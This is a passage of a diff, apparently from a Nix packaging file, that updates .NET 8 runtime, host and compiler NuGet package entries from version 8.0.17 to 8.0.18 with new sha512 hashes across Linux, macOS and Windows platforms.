-        hash = "sha512-W/OdiSQkTscKsj2LZ6/Js80unCUQeQFPFUheOIayF0jeXZxBz2mgCv1W2bL2N6dQu/XzY+rcdAVaK84EctpyBw==";
+        version = "8.0.18";
+        hash = "sha512-xFWpgrb2yEEo9TKsT7Xpoj1lHemgKVYHW8kyego2xES/aUl3Rb9IO4hEcC3aAVcCpBp4M7+NrfhQrqhq3nI5pw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-Ld0Qg6YLHXSqbizrz4a0ycPfuty79ZK4zwAcguHZNS3GplRI9yJPbv/XXa7ENiSMOiFTWZjCpZ9mMTkJkLj7JQ==";
+        version = "8.0.18";
+        hash = "sha512-VsnN7b4GMKgq1FcJY7Pn8m3HWqdpZGjuAyUH9eIlvQGV6vzc9hvHIJhmDPA+hSvbjXshoa557IMWOJsGABo7sA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-5sPZOZbgvw1k9mDnT0sQgYC9L90+Th2RlZquaEK4vYYb7NqwYddV6iipqF9zghrMzztK85Pym2bJZlKSn1fjsw==";
+        version = "8.0.18";
+        hash = "sha512-AA1LHIUoiWZG3qg0mRh0pBhnm7eKygNRk//A2OUpqxpbdWk5TnD0s2vuYqwonqonW9ykaMpP+inmyCB0fpYvtA==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.17";
-        hash = "sha512-w7EnpLx0V3N70/DdDyJCQV/rF4xtUTNKX3Ii4le1dTb7DxvqkplJ9Vf2y7l50i4dW8UEKtdfBED1BUGJiDx0Fg==";
+        version = "8.0.18";
+        hash = "sha512-sm5LY+hvq9/nxI3lurUwr7fu/abqb0DAos2ItezewQEGT3A0mNY+ZzawaX/dTAAivl+eToCMLi+2rH+OrRR3gQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-hR1mk1E3E8bXdt0q1yFkB7HlT5vJ+BTbrNswKt/BivmT3/qgjTAyJI/24FNkmPKg6e+k2+stvV9vMxFjNWcWbg==";
+        version = "8.0.18";
+        hash = "sha512-3uhlEm4Q2OVGEjmcaW0m6BvM93TKaJ3UDs5Ilehn+y6ZIjTZCqG5Svs7QcXrBFDlJX109TtPV8pPB6eCE0O+6A==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.17";
-        hash = "sha512-F7MdXMz1cekBW9GMQ+U2CuFoMpBcAgkecJgZt96YfJEyCXVJotmGTMHB2pYoGBz0TU3307tg5JIfUd2d2Jj34Q==";
+        version = "8.0.18";
+        hash = "sha512-3E91cZevql0JI3Gqvxr9Ek8v6Bz8X7+CERVhKioz20407oziovUgfQPjcpXZ4maXIYB3Rg4qo8Su97dJRfYlPQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-wgx1oeWwzdttunh9nnm4HXv6REofxaCTzmlBGgffonufjSK4vkzr/dLsq5bkV7Sj+/5sOc6qLesIwx7nUChllg==";
+        version = "8.0.18";
+        hash = "sha512-sbWou4XTgFm96/sKC6ICivQA2OUwjEHMdk3qhW3oR0HeFZNyGVfYgydgfmIhv+NPtxA9ymBtYT0Qy+Qzug5VXg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.17";
-        hash = "sha512-ccX5RLNKPjmuagvmwkiONFgZuJa7qWFGCPjDm9WSK4efJ6CYFcNJmfTLHQMZ+fgyGzTnD2A5zMP/0Ot1o7xQEQ==";
+        version = "8.0.18";
+        hash = "sha512-ZZn4xQQamT5qjamOth5sIXjGQ93/1Q0zTMS5OdlmGEPQgnIXqscaGHa4+keV92x3ZkdYWiVfxVWJ388PS958FQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.17";
-        hash = "sha512-gqi233hXdnvcE7McL/G+TR/BN+MYrmau1vL1E2uXmtdE+GB/pPWQXzYnxAeRM6jbC3ku0YKsAk+5lnRaZ5dsXA==";
+        version = "8.0.18";
+        hash = "sha512-laTLzCURbEEC+X+WfJNkDXfjk+s/9RExjWJ+qELrBw7ekhepQKFq7h5fVONVcRdI4GSkpG0bETwa6DXPhi4iIw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.17";
-        hash = "sha512-VsSVyCQbOvBD5tFuWknajmz57qGHqwP7Pvts+o6SJ5UEUSTPPlzREqSfb1oIntmkFgfFGOZdc/MeL2hIQdADRg==";
+        version = "8.0.18";
+        hash = "sha512-6qw3f6QPWExHGdMEsw4s5DmtN8BLBXzsFMH7x+7hjdnZvfx1eebZdY610kYGz8Q/tcd0sLa1TXMcrF2CpxixNw==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-u9hkQnH4virFn25AXmV9TLhpuRXfXiBmx/q+uSWaBz2CZmT/EY6e0kRL5gg57gtlfkItKg5rgXnClk2gWvmIQg==";
+        version = "8.0.18";
+        hash = "sha512-97IplAqXG0a6rE5XheNUd4Gaeutsoe0TtCg/rI0h4qrUbCOErcuf/w4OmoQMKPV8WQzIUejA35EziyaulL0/EQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-0O+bU5EYdrFo3W0z7kHqfzV8r+hr/mboeekd/ObmPERfXYhn64W3qI0g3YfO+KHWiCD3rTju7gM0odZXXFu6xg==";
+        version = "8.0.18";
+        hash = "sha512-a9au+YLLDhwln5XPD0ryW0+L7cq/OZWlNaOSU6N5uwiL466rrJ3cevkOeACO6LBFmWCm9/mLzEY6XwUD+O85Gg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-bJUphLGlvIBzrN/VwTEJnrI0ul7mm1GiG5HzthokhjE53M2hdPw1jFEpp9A2wFOHAuj7rTJFfkJwyrmVoL2TKw==";
+        version = "8.0.18";
+        hash = "sha512-DceneYsM3IeWIEZTAQWvpMhK9LUEWpse8gE14iyX1EHCmX5ZPyla2LFC4KPzo5sEFjfxxUXL1uH6P4wgegBa8Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-UOJ/eDhYZLsxGAWndocXEvpsKhxK+qkpTz6rBhsfLzJ0JMH3sYqSO4JDJV9rECYrkrcMbI4DjMJFQL9iNmyQTg==";
+        version = "8.0.18";
+        hash = "sha512-CddApCtn25IXLSFNGjqhNSNARB4mVJouJmXaIrdNdk2i6FlHQzt9ocRRNHQcCyds2vd7Xpevci2KcxA5ve+7kQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-SHuKMrh4ogiLsi6KGG5ziwKdu7ipPWKF+pjNi+lpXOhaSquyxiOQUSaHn+Cw7gIpunuJbnpHmWjSh3KSYgRxSA==";
+        version = "8.0.18";
+        hash = "sha512-/VBwWQ5g9ILmScK/BnUHc0+gwuKE/Hcwn4lrc88dywLo4d1mmgciFRAK9y9vjSqdK4LnSeDYoNV1Up64P9nlvA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-n8gVagaXe5iFgulX7xVJBCV7YHYuaxI8+ExUb2mRqFJ6Ova8Z99vlqANna8PiGbkVzy6FqoS97gguMfa7eXnkg==";
+        version = "8.0.18";
+        hash = "sha512-oFfmKhY4Xi0ulGkYMLkSQpx3tSX9aBG1vld2I4pSyN18mvkDATyWoaR1hH/xGNT8J1Zkq6X13ugCoJCeNc+jQQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-Xij6YAKzsmctbLeLJES2CKFnACvnCycv8EMOPPu7DcNnYHg/OOsUe3ObfXeKU5yhCW85wSM2NFwPiv8eO9Xe/Q==";
+        version = "8.0.18";
+        hash = "sha512-Tcsp8Jlthe8wsFdO6Nn57uO5sbkYBa6qyrc2DSpC7k6pLbrGZ+PRZ5fnl+6iHpPCoABCAMvhvwu9CLSriRhJ9g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.17";
-        hash = "sha512-7AEQKppA6Meq5duC4IrlJgoyfwJLNpsBtbFfaoKhUvvPfyPjpI6rT1GtXVafMGeclVEMjW56PPv6W9kSHTD3GQ==";
+        version = "8.0.18";
+        hash = "sha512-8YTjgbM7KXUy8iGyatSNmhVDDaQx7tuHoHtO+LWOkusuh7XNdcBXl60P4ESUNRz/Vndhyp+fXE+S1dGgYuabJQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-HJ/MHBFPWz0jeIW/8uoqHi0zmw/pY8SafYfG1l7I1vQhO+scdPp+W2dWFyPT7atiOubc1JC+ozrA3E4bLguZmg==";
+        version = "8.0.18";
+        hash = "sha512-LKWL8GaVV+r8yqsBx3PnqM8o8DwkdsXY78RVu812ii/roK/F3Tj3cAcBkjdX65jun3xDwCY5Sz+4PNfitGCHPA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-zcgek5WOy0/XY/kRbE8DQpRM5zdDWlO6JV1bfST6hKlawEeMX0h+Amm1VdYA4SxHehgPuDvMM9NQo0MLUOiMMw==";
+        version = "8.0.18";
+        hash = "sha512-L4qih+Oj2RQrRC1xivu9JwIFyktVZ9cYzeEPX8IH+qOnmXUW9KWTqvj6axLmCsibDpZQQktGvVSo87B/HeO0+Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-oFYo/d2Drv7914y3mzKdJ/18Gshple5H0FRsXUvCLWThrlYCFyjyhmEyToOMXLFHP1HWQ19xAzZPs9pN/AtePQ==";
+        version = "8.0.18";
+        hash = "sha512-uAvqaMX+UBsF6kcjSJsrDRWwQatSWoab6Zs57AEsgNBSImUJ469cWv9ByjJrUxqbcFiiJuOd0ERw1Zz2COhawg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-/E7gmctuYf5c45e5VREjE+BvVrVDX/yHoRTpCpeb89TE/a4q5BSxRNutlNlR89JKGRNEN5hKOGSpixNN30NJPg==";
+        version = "8.0.18";
+        hash = "sha512-1NPmjQAfTKpcqdKCbP+lCv2oeltqjZsCIUi4bzffAqjgKMXQ9GVJwNTRVAF+IUW2t8se76Si8tnY1aPQVZ4rcQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-DeNAP4VlvWX4hCek+RuQgt0C+QYBTpY8LBbIer9S1QXH4gM28BGtOzBUW5xeZ2nUik5QpP3hKPQk9UHnJQ8ABw==";
+        version = "8.0.18";
+        hash = "sha512-t7s5+Z9f+HQaLEoH8dFKFsigURWEtbX/4DTVkbb61PcbsO0SqGO31V8zEoyzOtfddaifURFbFA42aODv6vqHcQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-Aas+h9qheCOnTGOclCdfq3FeqTQN9+qhw9v5Wc3UhMt5hxkljzRhMKWPTNokM+erTb62C0RfFmNnEcUmm1M9fw==";
+        version = "8.0.18";
+        hash = "sha512-Tw+xdAhQGksiV7p/CKP6A5ORVbxEvnfiZWPQ2YAMHIV6h8Dg280+U9PBv/yCtIRgPbdBWnc8EkwJS6J4/Gn2pA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-Gg4T5ZJNQO1Ov8X3qB0gT5Nd57bD1uDgJFChmpdb/qRj5c6mHN42Nz1POnvz/ZxyIBZqTXSAK/Sh7hYwhnO6Cw==";
+        version = "8.0.18";
+        hash = "sha512-9lTB0xWTtaCf5dfxpSxqbMmA36UKhSV39ARu3jjxnQgHVBoHoS2z2k/LD7dkZOJA7Pdu+bxPJRHCDKg45CAmOg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.17";
-        hash = "sha512-u4SWuPRUXOxPTwHv6V2ePpZFw+D5/mE+zlq+vgk9B0odHvArhLFBsxSdq2OVzjx7T6OXnm664ySu1mWuZiRtLQ==";
+        version = "8.0.18";
+        hash = "sha512-6wPjZestzQO9qWYph3USKofrCRIEzRGIkPq2rjfObqCBFM7f288rVsaoomciMm/rzNk/IhJJUOakHyBna160Gg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-ksN26mFXeA3pkdTQIuhEbODXXhTgA24UoJLaj02Jr3OezARLCRs/kg4FIBpazJ2I0xI5oQPe0b8BiGQlW6Vt6A==";
+        version = "8.0.18";
+        hash = "sha512-AK7WYWP8zt+AFyORdzikH5ZMjATQ/piP8B0+v/sHWa0qz+l7R7VT8xnVxadn709XeWHYtsB5B+6UQ15i8JrAqg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-SXqdnf+0qa3qjodEeBKQyjK1EOh50Fzymiz6PtOfWkcAESLXlE+UtImtxuE9tvjUwjBc2Z1zeiCyaGOhpVzh3A==";
+        version = "8.0.18";
+        hash = "sha512-DTOaAtQ/DKJvjBZCxlevKgBmI682/GyFgQ4mY3lZGTlwB5mSBm29zzj15ptdNpJkXwCaWZO/zmdz1UGxSaNIIQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-7bIfsRP0cumDeTb+iOYm7+gnWLDx4nJcpM3OrkAjZS14CmQfWzXckmspd12sOHBir3gJaJiBLn5IOhuneoN2lg==";
+        version = "8.0.18";
+        hash = "sha512-B2b2WffuthV380wKbW45bXMng1/CFF1ZoCyvZif09VxmKLvYEl9QTyWRGXhih64sGXDnA5wZ91TuzIynaWLMzA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-ISu7M97fzDxM+s5dlutK/xuI0xj6yOAFgTZ0F6EZSMmwoNRN/SOXFtwnMQFoDCyNsTFP1RRIyHB2GHBnWzkeeg==";
+        version = "8.0.18";
+        hash = "sha512-6Xfg1UtpRheZIkRy/xBqkR7H50NAzE+Ww8cfUPCbHtfUDTM9MyCtmk2LTeIZQu0Fg1Dfr+esPWS4ieYTDufoNg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-FPBQGj1ec4f56WOS2vaKfQcu3ddB4N6aiW9ptDGnLslTs1SqLs5ROthMmGSptfyXVMaksbCQ36Dt4FlfKaQ0aw==";
+        version = "8.0.18";
+        hash = "sha512-uZWrqquGM0u30M+1cNjLEiEu6284pQ4qpRVNzQhP8JkwlC/lPlXmjcIkJkn8ruq7wfP1oENi1cx90W5xW5NPdA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-JoUr84iXSEzSt9qob5wFYBdvG1d0OalPBqMHKUM/W0MoAmvrAB7TynbY62B0xB/pH4u2th41AD0teAqJrFWLCg==";
+        version = "8.0.18";
+        hash = "sha512-K/PztujikPjSxTGPYrtphyblzO5uk9Jt4oR1RpDcqWsKLH2jMQnKe1+HrD0XHXVIstqMOSwIdoGnxAsG0ft0sg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-VlGSzLStxk86aalHNQ7lMcr8KaZ2OyOqklv1rXT92cwPpkY1+F/yrCOa5w4OIKL9CmPPfOgCvhTYq0sDPeKiSw==";
+        version = "8.0.18";
+        hash = "sha512-IlY9MhVGjEcm0kZaetRqJUESID7eo3C1xzVz0kwrcrKJl3wGEBL/7K3BjgLej0UKTi47mIqxWA3vWe0i8JdnBw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.17";
-        hash = "sha512-QprkNU0qUh1rafUqBtf74gHyBv333CUbWqAlet4lfMGO5fUkriLhvckuRYGwAdB9UuN/p1gNqHeMBddqwrx62Q==";
+        version = "8.0.18";
+        hash = "sha512-el5pvDgxwTJDJHTQXNtlU0umzSN60rn+e2LqjrCp52j8vXBjD8mC5qg4q8f/OddzWlUqIAZSe956fwZzRfhMeg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-4gpidP+3KgWOg8V7X3QZb1bHRY6DuZq7k9JgUETydSL7s9oVKEF8OU6Uuajmxn5q2HjTII7UO+/Ost//wXxJgg==";
+        version = "8.0.18";
+        hash = "sha512-JMmBY2t+Lz5EalgDD12mE0k/VgoS+9oMfordQYMZIpKxiXvyFCbhAo03PqClCK9VvfJpw0Sr4O5G8vli1Wa+3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-fkY3BYk1K5zhi9MDTU/+oAz1o7+BzMaghJf7wDAnrIa0Uv8rHH6QFlUktqL2XTQaQyFi9AHKRwk6+qMVNMygjw==";
+        version = "8.0.18";
+        hash = "sha512-GiLJOvS8t/Al3a3WxYBPbKMYBo0YYcfKPtQ8/TFBZMUct3yx20DsXhv1qX8OxxEDePOBNzSgbxRb7RKFvjOeIQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.17";
-        hash = "sha512-eIlHY8UjZ0/h9fB23z60HXc0ZZgHsysSTivqkO7TEajctBS6INfqvCqQ5xJsM/3al61rZhZdJdIuIg0mQ7ZuYg==";
+        version = "8.0.18";
+        hash = "sha512-yi6TOgXCO+6xR9knQR6Efqgku9pEyKG8LpVHLtCfW+pdZT2m/Pu0s3LTNVI1EV34c9vg0m0CfFvMlu8P01n0VA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-UuP+BTHKYuNk9efX3dLcnqH+tK4uCObd4a3JH4was5IP9lrPlTst4shN+CrVASQZ3+1Mv+ofQCQzYF42sRN6yg==";
+        version = "8.0.18";
+        hash = "sha512-J24jZqdMfbwzk4nd8At+EefD/oilsu7umb0bicUA0WKY1qVVNUVGTvWnoO+bK/ZiPv4SFjYdn4gZARqUEQnorQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-3zek/zAOEojwKUANBjeWlnsPyWbbavnJ3o4VHMdmKR2dRk5TPU1oy8DC7vVk+rd1J0V6hrokxagxYL1+mh7sMg==";
+        version = "8.0.18";
+        hash = "sha512-DxjNTxOiG2FQgkEYUgZ2/HFMvLo8yclEUma89dpC4BSVn/7OFZldEvEkKKUDNhLJZMv8DUXb+6snXy/nAPYUfQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-OT2bIhD7vAgcGQy3T9wAuhCch7euvV7LTM9u06XVt8PfBe7ws2//NWklbN205WxR/+zKw9LA+WV0+ZluaWPwBg==";
+        version = "8.0.18";
+        hash = "sha512-c/4bi47f2sxg6FXsbVcfChfl/FHf7xN6mPUKqNIRReisvv67bt3utR6OgpX+PkbbdA9ojEfODVljSXQRrluQ/w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-XIJ5AewwwMSntIdaU9wjGq5nnC7pt4Je2rOT3caGAZVUbMI+TLdzjGC4ySIG4EzHNdb0ioazDlpm59XYxFjtyQ==";
+        version = "8.0.18";
+        hash = "sha512-v+40oF6eORT0Z970gVunxVxIniO5IPg0ArlT/lt5E6rPLapmfauIT06v42Bzqf1JGYY/A4PCyEAlaSchGW6nEg==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-Hi7EwkTaHTX+ORY78yBJfQIa0Li6QTM+bCgYwiJS5piw4mNbtsqg8JnzMTBTyL8RcC2Az7skktgUqrnQYPbE3A==";
+        version = "8.0.18";
+        hash = "sha512-Y6AHcXcoFbZ+ZNs6M/SnQieZHPd2I5isi9mviZ2svHqXsUi3GIC7wLHj+SrJpv27UpWVTJqcGoalEz1uNO7KYw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-A4YO9NwkU6D/STwctlJU1W5uoGbSX05dWd2hQfriwS+QvSJAVHJfiuCd/obr+K6caCBz7QaB4atsbObXye/upA==";
+        version = "8.0.18";
+        hash = "sha512-eO5zIpPTMrTUtDF4jSRL+3///bPp8KD/j54Vyni3hE1N7GW/0vivulh8eRqSGA5u2JqXnlpjmRKhgmR3Qcl3Ag==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.17";
-        hash = "sha512-aziQHkE0YNyxANTFVFO1+j+NiAuqIrQLWua767eM+XCgwkdYd+SuuT3dDk83QJnFqHrLsoztdnFkmG0RjiJmKQ==";
+        version = "8.0.18";
+        hash = "sha512-dExyzX2A3z937eyzaU246VKWCTNu7SvZtcS7rENtnJ/0xjQn+b9mtGYlr9QwmnlpYGME4gDwxiYNz0AH2oFC9Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-HMJ43Pe4Bsk1RrKocroaQztnSZacp2KR9Ens5hf/2A9M67ag8pE9AC27Jnsm5123wYnK97MuLa1EhSzqjUJ3tg==";
+        version = "8.0.18";
+        hash = "sha512-PjOZbnpXMRehVGAo45UAl/svvu7JEdQ+RTN4bcvOohJ0mgUtZJxHijaLRFqegEkC/HLysPCMIRS+NdoySgdXPg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-76AdyyHdR+8w/Tf+eYbV0QAxceqvyAc05W0tWv/L8AhxH8DEdsv1RyXx1jTySd+CuGyTbb0Bmwd7NUdK7XCWJA==";
+        version = "8.0.18";
+        hash = "sha512-cYSafamQCxV6XB7HeLpsnzQChF9USa+gVUwXZZGd+SC3vInvWA3WJ0E6CpgHPzn2zTrBmoDmPVaknQCNklRlrQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-F4qOt3rF+aVxj+cMT04cc9GsLEhdcM36I7rAB05tHjxpYum29Cd52UL1E02n+Cb3AMWaOkFm3uZKbnuWHhCOMA==";
+        version = "8.0.18";
+        hash = "sha512-nV5A+iQQX+vr0J9AJ5zf/sPXFi8T/zge2RLHwTiA8PhgPFrGSIqQN4Iu6l/xibmgOoKGOcN05Zx+4jD3FBc/+Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-LnqYt32luIPGBIHWqkQqZII4JyVH2eV1cciCIsz/o0GSomy+IGPw8QirHSFchQhm9qIgS7swoXHEnBoVcXDa7g==";
+        version = "8.0.18";
+        hash = "sha512-0J8wYGosbk8+57fCrT4Oz4tWngsoTTooDiZg/SGMx1X4eR3tNRVbDfXSzXHwk5JwbCCAPMdk0zOPnAy7VqYFhg==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-N5OgMVCqVq8v2L2LFcriguocIU98C72giD0eKgFirCst6beO71PU8sJyYNjRknl+L4A+uhDUsZfpLONDMz9vVw==";
+        version = "8.0.18";
+        hash = "sha512-Y1BIY/IjQxEjj9xN9Ws3QXE+xwQTS9Ud7oyKqpxjgW5nYiFkzIBHntB9GTvIPsob4KalmgvspG8pbd32YcW2Lw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-bosx45pWfzEme1le8Bm75n6gAMSrlCe9+NmRoo5f/ZrpsPZq7zRaLVRlXB5XKi36Suq7BQjsJ67ubGNqF+Iz+g==";
+        version = "8.0.18";
+        hash = "sha512-Jc8N57Rarf5a/pojGgmTkzd8GoSUaBOnKJnrSTqYCizM2YoawM2Aps0tHvpRMG0s/u1NeXP5Zr64hJkVA4yLVw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-5EJos1FnyGO5/7tjtF4MdniGBr19ZehLUwhblPnGTx3kyGPf+imGpA34HmKB0Lpf53nYXDBOiWrqUHl/dURarw==";
+        version = "8.0.18";
+        hash = "sha512-5uEfyHLfmuox4HVbRjWk0aHmho+P9pLPqGwP314G34wC1JCSdQRynaOYO/B5Bo7zplC/dcn4lfqUsu2lcwwEoQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.17";
-        hash = "sha512-FpLu/8+PcuX8fNcnCGDED2WWbrlNvV9dpiZ49e9rAcDBlYg9aoNBEGGP9HJ45uATmJW/V55BtNxGJKXucceAMQ==";
+        version = "8.0.18";
+        hash = "sha512-cIK2i/pIgNaFwDroeEWob/Va+c7dhxF2jnIfedlKA9jIG3EJG2q0OngmF92olvJeEkso7xeC/SfhtE+CMGIbBg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.17";
-        hash = "sha512-uh9Xyw8G1nbUdmTUOeiDyn7LXBrEO3slJJwkRC19AqirVspWFWuDliiIj/GAStnF5EDYepgfgC2WeTr82hnQMg==";
+        version = "8.0.18";
+        hash = "sha512-WQ4mXlESm0RzOi1fZYWA6r99Ohh5kfliawZ6MAi7fR27PkORbA7+HtysPzMG7fFYv+L5n1JrUwj8lKhJpbz/Bg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.17";
-        hash = "sha512-JXyOaJZcJQvu+UvZrLDeXY+QgpgMSqBGvL7oKDfvJazL9wKIJDA6A68v8RfSlLTyiO196XrV3XWNTbCC5CWtPQ==";
+        version = "8.0.18";
+        hash = "sha512-erO4wuYmgpHtKJPr24sdYCRGvI0mkaghPhnqo7sPf2gdS4l1J53PMYyfsn7cwirpt2FLsItSXOA8FI38YpBfTQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.17";
-        hash = "sha512-Fkm//A57PJApgtg7jUySUGtz1arRGwXipRpl4lczOuol/hmKb6FL9eN6fYNYsU/LiA+xP0d72prlTyYEifRPHw==";
+        version = "8.0.18";
+        hash = "sha512-3kKyR0GwV5lxYI3I2H5P1FTdy7E/MXF1kzoPQpxSglQRxW1zG5ubmjFAXh2D8Mfw5MtUoyyzBc9Y+uvM/SAx5w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.17";
-        hash = "sha512-AqkVaugZa6Tt4z+yeGqqlSlhDw4Q3gtPdXNFu05fLjAQi4zAvCccOpjMmwca41Zteiu9qGkfQwFDyO1LQXThMw==";
+        version = "8.0.18";
+        hash = "sha512-s597lp1X9QNObLRiQ1R+w+4VqkB1ozc6emWQxAdfA6/Jbkr2HUkuj+R70k7E4lRCFXYJiEUeeAv6DLV034kxnQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.17";
-        hash = "sha512-ViTDLKPx1YPdbj1xTx6LSXLJ4y+LQKfbrqRNw4PN96i7dcRviRt60R7BKfV+sdsDOaQtYDhUr8/1CGPaa9SnDA==";
+        version = "8.0.18";
